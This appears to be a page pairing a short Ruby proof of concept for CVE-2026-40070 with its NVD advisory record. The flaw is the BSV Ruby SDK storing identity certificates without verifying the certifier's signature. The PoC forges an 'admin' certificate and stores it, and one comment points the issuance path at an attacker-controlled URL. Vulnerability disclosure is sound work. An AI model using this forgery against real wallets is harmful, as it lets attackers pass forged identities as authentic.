CVE-2026-40070

# PoC for CVE-2026-40070: Improper Verification of Cryptographic Signature require 'bsv' # Initialize the vulnerable wallet client client = BSV::Wallet::WalletClient.new # Scenario 1: Exploiting 'direct' acquisition protocol # Attacker crafts a certificate with a forged signature fake_certificate = { certifier_id: "malicious_certifier", subject: "admin", public_key: "attacker_public_key", signature: "INVALID_FORGED_SIGNATURE_DATA" # This is accepted without verification } # The vulnerable method stores the record without checking the signature validity puts "[+] Exploiting direct protocol..." client.acquire_certificate( protocol: 'direct', certificate: fake_certificate ) # Scenario 2: Exploiting 'issuance' protocol # If an attacker controls the certifier URL, they can return arbitrary data # client.acquire_certificate(protocol: 'issuance', url: 'http://attacker-controlled.com/fake_cert') puts "[!] Certificate stored successfully. The system now trusts the forged certificate."

{"cve": {"id": "CVE-2026-40070", "sourceIdentifier": "[email protected]", "published": "2026-04-09T18:17:03.203", "lastModified": "2026-04-24T17:03:39.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BSV Ruby SDK is the Ruby SDK for the BSV blockchain. From 0.3.1 to before 0.8.2, BSV::Wallet::WalletClient#acquire_certificate persists certificate records to storage without verifying the certifier's signature over the certificate contents. In acquisition_protocol: 'direct', the caller supplies all certificate fields (including signature:) and the record is written to storage verbatim. In acquisition_protocol: 'issuance', the client POSTs to a certifier URL and writes whatever signature the response body contains, also without verification. An attacker who can reach either API (or who controls a certifier endpoint targeted by the issuance path) can forge identity certificates that subsequently appear authentic to list_certificates and prove_certificate."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sgbett:bsv-wallet:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.1.2", "versionEndExcluding": "0.3.4", "matchCriteriaId": "64FDA9B4-4B7C-41B0-9736-991D19533DF6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sgbett:bsv_ruby_sdk:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.3.1", "versionEndExcluding": "0.8.2", "matchCriteriaId": "634CB7F0-563B-42FC-BCF4-3F222AA63921"}]}]}], "references": [{"url": "https://brc.dev/52", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/sgbett/bsv-ruby-sdk/commit/4992e8a265fd914a7eeb0405c69d1ff0122a84cc", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/sgbett/bsv-ruby-sdk/issues/305", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/sgbett/bsv-ruby-sdk/pull/306", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/sgbett/bsv-ruby-sdk/security/advisories/GHSA-hc36-c89j-5f4j", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/sgbett/bsv-ruby-sdk/security/advisories/GHSA-hc36-c89j-5f4j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}